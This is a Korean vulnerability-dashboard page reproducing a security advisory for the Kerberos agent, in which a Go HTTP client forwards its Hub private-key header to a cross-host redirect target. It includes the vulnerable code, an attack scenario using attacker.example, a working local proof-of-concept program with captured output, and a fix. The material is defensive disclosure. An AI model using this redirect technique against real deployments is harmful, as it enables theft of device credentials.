Kestrel
대시보드로 돌아가기
CVE-2026-50192MEDIUMGHSA대응게시일: 2026. 07. 02.수정일: 2026. 07. 02.

Kerberos Hub private key (X-Kerberos-Hub-PrivateKey) leaked to cross-host redirect target due to redirect-following HTTP client without CheckRedirect

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

The Kerberos Hub upload path sends the agent's Hub credentials in the custom X-Kerberos-Hub-PrivateKey and X-Kerberos-Hub-PublicKey request headers to the operator-configured Hub URL (config.HubURI). The HTTP client used (&http.Client{} in UploadKerberosHub) is constructed without a CheckRedirect policy, so it follows HTTP redirects automatically. Go's net/http strips only sensitive headers (Authorization, Cookie, WWW-Authenticate) on a cross-host redirect; it does not strip custom headers such as X-Kerberos-Hub-PrivateKey. As a result, if the configured HubURI returns a cross-host 30x redirect, the Hub private key is forwarded verbatim to the redirect target, disclosing the credential to an unintended third party (CWE-200 / CWE-522).

Impact

The Kerberos Hub private key (a long-lived secret authenticating the agent to Kerberos Hub) is leaked to an attacker-controlled host whenever the configured HubURI issues a cross-origin redirect. HubURI is operator configuration (models.Config.HubURI, JSON hub_uri); an open redirect on that host, a compromised/hijacked Hub deployment, a DNS/BGP hijack, or a malicious URL supplied in the agent config causes the secret to be exfiltrated. The leaked private key (together with the public key, which is forwarded in the same request) grants the attacker the agent's access to Kerberos Hub, including the ability to upload/impersonate the device.

Vulnerable code (file:line)

machinery/src/cloud/kerberos_hub.go — the custom auth headers are set on a request to the operator-configurable config.HubURI, and the client follows redirects (no CheckRedirect):

text
1 // Check if we are allowed to upload to the hub with these credentials.
2 // There might be different reasons like (muted, read-only..)
3 req, err := http.NewRequest("HEAD", config.HubURI+"/storage/upload", nil)
4 if err != nil {
5 errorMessage := "UploadKerberosHub: error reading HEAD request, " + config.HubURI + "/storage: " + err.Error()
6 log.Log.Error(errorMessage)
7 return false, true, errors.New(errorMessage)
8 }
9
10 req.Header.Set("X-Kerberos-Storage-FileName", fileName)
11 req.Header.Set("X-Kerberos-Storage-Capture", "IPCamera")
12 req.Header.Set("X-Kerberos-Storage-Device", config.Key)
13 req.Header.Set("X-Kerberos-Hub-PublicKey", config.HubKey)
14 req.Header.Set("X-Kerberos-Hub-PrivateKey", config.HubPrivateKey) // line 63
15 req.Header.Set("X-Kerberos-Hub-Region", config.S3.Region)
16
17 var client *http.Client
18 if os.Getenv("AGENT_TLS_INSECURE") == "true" {
19 tr := &http.Transport{
20 TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
21 }
22 client = &http.Client{Transport: tr}
23 } else {
24 client = &http.Client{} // line 73 — no CheckRedirect
25 }
26
27 resp, err := client.Do(req)

HubURI is operator configuration:

text
1HubURI string `json:"hub_uri" bson:"hub_uri"`

Attack scenario

  1. An operator configures the agent with a hub_uri.
  2. That host (or a host reachable from it via redirect) responds to /storage/upload with 302 Found to https://attacker.example/....
  3. client.Do(req) follows the redirect and re-sends the request, including X-Kerberos-Hub-PrivateKey and X-Kerberos-Hub-PublicKey, to attacker.example.
  4. The attacker captures the Hub credentials.

Proof of concept

Driver built against the verbatim pinned kerberos_hub.go from v3.6.25. The exported cloud.UploadKerberosHub is invoked. Two hostnames resolve to local test servers so net/http treats the 302 as a genuine cross-host redirect.

text
1package main
2
3import (
4 "context"
5 "fmt"
6 "net"
7 "net/http"
8 "net/http/httptest"
9 "os"
10 "strings"
11 "sync"
12
13 "github.com/kerberos-io/agent/machinery/src/cloud"
14 "github.com/kerberos-io/agent/machinery/src/models"
15)
16
17func installResolver(mapping map[string]string) {
18 tr := http.DefaultTransport.(*http.Transport).Clone()
19 tr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) {
20 host, _, _ := net.SplitHostPort(addr)
21 if target, ok := mapping[host]; ok {
22 addr = target
23 }
24 return (&net.Dialer{}).DialContext(ctx, network, addr)
25 }
26 http.DefaultTransport = tr
27}
28
29func main() {
30 var mu sync.Mutex
31 var sawPriv, sawPub string
32 attacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
33 mu.Lock()
34 sawPriv = r.Header.Get("X-Kerberos-Hub-PrivateKey")
35 sawPub = r.Header.Get("X-Kerberos-Hub-PublicKey")
36 mu.Unlock()
37 fmt.Printf("[attacker host %s] received %s %s\n", r.Host, r.Method, r.URL.Path)
38 fmt.Printf("[attacker host %s] X-Kerberos-Hub-PrivateKey = %q\n", r.Host, r.Header.Get("X-Kerberos-Hub-PrivateKey"))
39 w.WriteHeader(200)
40 }))
41 defer attacker.Close()
42
43 legit := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
44 fmt.Printf("[legit host %s] received %s %s -> 302 to attacker.example\n", r.Host, r.Method, r.URL.Path)
45 http.Redirect(w, r, "http://attacker.example"+r.URL.Path, http.StatusFound)
46 }))
47 defer legit.Close()
48
49 installResolver(map[string]string{
50 "legit.example": strings.TrimPrefix(legit.URL, "http://"),
51 "attacker.example": strings.TrimPrefix(attacker.URL, "http://"),
52 })
53
54 os.MkdirAll("data/recordings", 0o755)
55 os.WriteFile("data/recordings/clip.mp4", []byte("FAKEMP4DATA"), 0o644)
56
57 cfg := &models.Configuration{
58 Config: models.Config{
59 HubURI: "http://legit.example", // operator-configurable base URL
60 HubKey: "PUBLIC-KEY-12345",
61 HubPrivateKey: "SECRET-PRIVATE-KEY-DO-NOT-LEAK",
62 Key: "device-key",
63 },
64 }
65 cfg.Config.S3.Region = "us-east-1"
66 _, _, _ = cloud.UploadKerberosHub(cfg, "clip.mp4")
67
68 mu.Lock()
69 defer mu.Unlock()
70 fmt.Printf("attacker host saw X-Kerberos-Hub-PrivateKey = %q\n", sawPriv)
71 fmt.Printf("attacker host saw X-Kerberos-Hub-PublicKey = %q\n", sawPub)
72}

End-to-end reproduction

Pinned to github.com/kerberos-io/agent/machinery@v3.6.25. Verbatim kerberos_hub.go from that tag. Captured stdout:

text
1legit (operator-configured) HubURI = http://legit.example (-> 127.0.0.1)
2attacker host (cross-origin) = http://attacker.example (-> 127.0.0.1)
3calling cloud.UploadKerberosHub then client.Do
4[INFO] UploadKerberosHub: Uploading to Kerberos Hub (http://legit.example)
5[INFO] UploadKerberosHub: Upload started for clip.mp4
6[legit host legit.example] received HEAD /storage/upload -> 302 to attacker.example
7[attacker host attacker.example] received HEAD /storage/upload
8[attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK"
9[attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345"
10[INFO] UploadKerberosHub: Upload allowed using the credentials provided (PUBLIC-KEY-12345, SECRET-PRIVATE-KEY-DO-NOT-LEAK)
11[legit host legit.example] received POST /storage/upload -> 302 to attacker.example
12[attacker host attacker.example] received GET /storage/upload
13[attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK"
14[attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345"
15[INFO] UploadKerberosHub: Upload Finished, 200 OK.
16----- RESULT -----
17attacker host saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK"
18attacker host saw X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345"
19LEAK CONFIRMED: hub private key forwarded to cross-origin redirect target
20----- NEGATIVE CONTROL (same bare &http.Client{}, legit.example -> attacker.example) -----
21attacker saw Authorization = "" (stdlib strips standard auth header cross-host)
22attacker saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" (custom header NOT stripped -> the bug)

The negative control on the same bare client and same cross-host redirect shows the standard Authorization header is stripped by net/http, while the custom X-Kerberos-Hub-PrivateKey is forwarded — confirming the leak is specific to the custom-named auth header.

Suggested fix

Set a CheckRedirect policy on the client used in UploadKerberosHub (and the other Hub helpers in this file) that strips the X-Kerberos-Hub-PrivateKey / X-Kerberos-Hub-PublicKey headers (and any other custom auth headers) when the redirect target host differs from the original request host:

text
1checkRedirect := func(req *http.Request, via []*http.Request) error {
2 if len(via) > 0 && req.URL.Host != via[0].URL.Host {
3 req.Header.Del("X-Kerberos-Hub-PrivateKey")
4 req.Header.Del("X-Kerberos-Hub-PublicKey")
5 }
6 return nil
7}
8client = &http.Client{CheckRedirect: checkRedirect}

A regression test should assert that after a cross-host redirect the X-Kerberos-Hub-PrivateKey header is absent at the final host, and that same-host redirects still carry it.

Fix PR

A fix PR implementing the CheckRedirect strip plus a cross-host regression test is provided to the maintainer through the advisory's private temporary fork.

Credit

Reported by tonghuaroot.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.